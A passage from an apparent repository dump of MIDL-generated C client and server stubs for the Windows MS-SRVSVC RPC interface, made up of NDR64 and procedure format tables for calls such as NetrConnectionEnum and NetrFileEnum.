HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Qualifier */      /* parameter Qualifier */\n        &__midl_frag733,\n        { \n        /* Qualifier */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag16,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag9_t __midl_frag9 =\n{ \n/* Opnum7NotUsedOnWire */\n    { \n    /* Opnum7NotUsedOnWire */      /* procedure Opnum7NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef srvsvc_Ndr64ProcTable[] =\n    {\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag9,\n    &__midl_frag10,\n    &__midl_frag40,\n    &__midl_frag72,\n    &__midl_frag83,\n    &__midl_frag88,\n    &__midl_frag159,\n    &__midl_frag167,\n    &__midl_frag231,\n    &__midl_frag275,\n    &__midl_frag295,\n    &__midl_frag324,\n    &__midl_frag324,\n    &__midl_frag331,\n    &__midl_frag339,\n    &__midl_frag465,\n    &__midl_frag526,\n    &__midl_frag545,\n    &__midl_frag627,\n    &__midl_frag569,\n    &__midl_frag627,\n    &__midl_frag633,\n    &__midl_frag640,\n    &__midl_frag641,\n    &__midl_frag650,\n    &__midl_frag697,\n    &__midl_frag676,\n    &__midl_frag684,\n    &__midl_frag697,\n    &__midl_frag707,\n    &__midl_frag717,\n    &__midl_frag726,\n    &__midl_frag730,\n    &__midl_frag746,\n    &__midl_frag756,\n    &__midl_frag807,\n    &__midl_frag765,\n    &__midl_frag771,\n    &__midl_frag792,\n    &__midl_frag799,\n    &__midl_frag807,\n    &__midl_frag808,\n    &__midl_frag821,\n    &__midl_frag829,\n    &__midl_frag836,\n    &__midl_frag851,\n    &__midl_frag863,\n    &__midl_frag902,\n    &__midl_frag884,\n    &__midl_frag902,\n    &__midl_frag911\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC srvsvc_StubDesc = \n    {\n    (void *)& srvsvc___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &srvsvc__MIDL_AutoBindHandle,\n    0,\n    BindingRoutines,\n    0,\n    0,\n    ms2Dsrvsvc__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& srvsvc_ProxyInfo,   /* proxy/server info */\n    0\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const MIDL_SYNTAX_INFO srvsvc_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    ms2Dsrvsvc__MIDL_ProcFormatString.Format,\n    srvsvc_FormatStringOffsetTable,\n    ms2Dsrvsvc__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    0,\n    0 ,\n    (unsigned short *) srvsvc_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\nstatic const MIDL_STUBLESS_PROXY_INFO srvsvc_ProxyInfo =\n    {\n    &srvsvc_StubDesc,\n    ms2Dsrvsvc__MIDL_ProcFormatString.Format,\n    srvsvc_FormatStringOffsetTable,\n    (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax_2_0,\n    2,\n    (MIDL_SYNTAX_INFO*)srvsvc_SyntaxInfo\n    \n    };\n\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-srvsvc_s.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-srvsvc.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n#include \"ms-srvsvc_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   3795                              \n#define PROC_FORMAT_STRING_SIZE   3305                              \n#define EXPR_FORMAT_STRING_SIZE   1                                 \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\nextern const ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING ms2Dsrvsvc__MIDL_TypeFormatString;\nextern const ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING ms2Dsrvsvc__MIDL_ProcFormatString;\nextern const ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING ms2Dsrvsvc__MIDL_ExprFormatString;\n\n/* Standard interface: srvsvc, ver. 3.0,\n   GUID={0x4B324FC8,0x1670,0x01D3,{0x12,0x78,0x5A,0x47,0xBF,0x6E,0xE1,0x88}} */\n\n\nextern const MIDL_SERVER_INFO srvsvc_ServerInfo;\n\nextern const RPC_DISPATCH_TABLE srvsvc_v3_0_DispatchTable;\n\nstatic const RPC_SERVER_INTERFACE srvsvc___RpcServerInterface =\n    {\n    sizeof(RPC_SERVER_INTERFACE),\n    {{0x4B324FC8,0x1670,0x01D3,{0x12,0x78,0x5A,0x47,0xBF,0x6E,0xE1,0x88}},{3,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&srvsvc_v3_0_DispatchTable,\n    0,\n    0,\n    0,\n    &srvsvc_ServerInfo,\n    0x06000000\n    };\nRPC_IF_HANDLE srvsvc_v3_0_s_ifspec = (RPC_IF_HANDLE)& srvsvc___RpcServerInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC srvsvc_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING ms2Dsrvsvc__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure Opnum0NotUsedOnWire */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 16 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 18 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum1NotUsedOnWire */\n\n/* 30 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 32 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 36 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 38 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 40 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 42 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 44 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 46 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 48 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 50 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 52 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 54 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 58 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum2NotUsedOnWire */\n\n/* 60 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 62 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 66 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 68 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 70 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 72 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 74 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 76 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 78 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 80 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 82 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 86 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 88 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum3NotUsedOnWire */\n\n/* 90 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 92 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 96 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 98 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 100 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 108 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 110 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 114 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 116 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum4NotUsedOnWire */\n\n/* 120 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 122 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 126 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 128 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 130 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 132 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 136 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 138 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 140 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 144 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 146 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum5NotUsedOnWire */\n\n/* 150 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 152 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 156 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 158 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 160 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 162 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 164 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 166 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 168 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 170 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 176 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum6NotUsedOnWire */\n\n/* 180 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 186 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 188 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 190 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 192 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 194 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 198 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 200 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 202 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum7NotUsedOnWire */\n\n/* 210 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 218 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 220 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 226 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 228 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 230 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 232 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 234 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 236 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 238 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetrConnectionEnum */\n\n/* 240 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 242 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 246 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 248 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 250 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 252 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 254 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 256 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 258 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 260 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 262 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 264 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 266 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 272 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 274 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 276 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Qualifier */\n\n/* 278 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 280 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 282 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 284 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 286 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 288 */\tNdrFcShort( 0xcc ),\t/* Type Offset=204 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 290 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 292 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 294 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 296 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 298 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 300 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 302 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 304 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 306 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 308 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 310 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 312 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrFileEnum */\n\n/* 314 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 316 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 320 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 322 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 324 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 326 */\tNdrFcShort( 0x0 ),\t/* X64 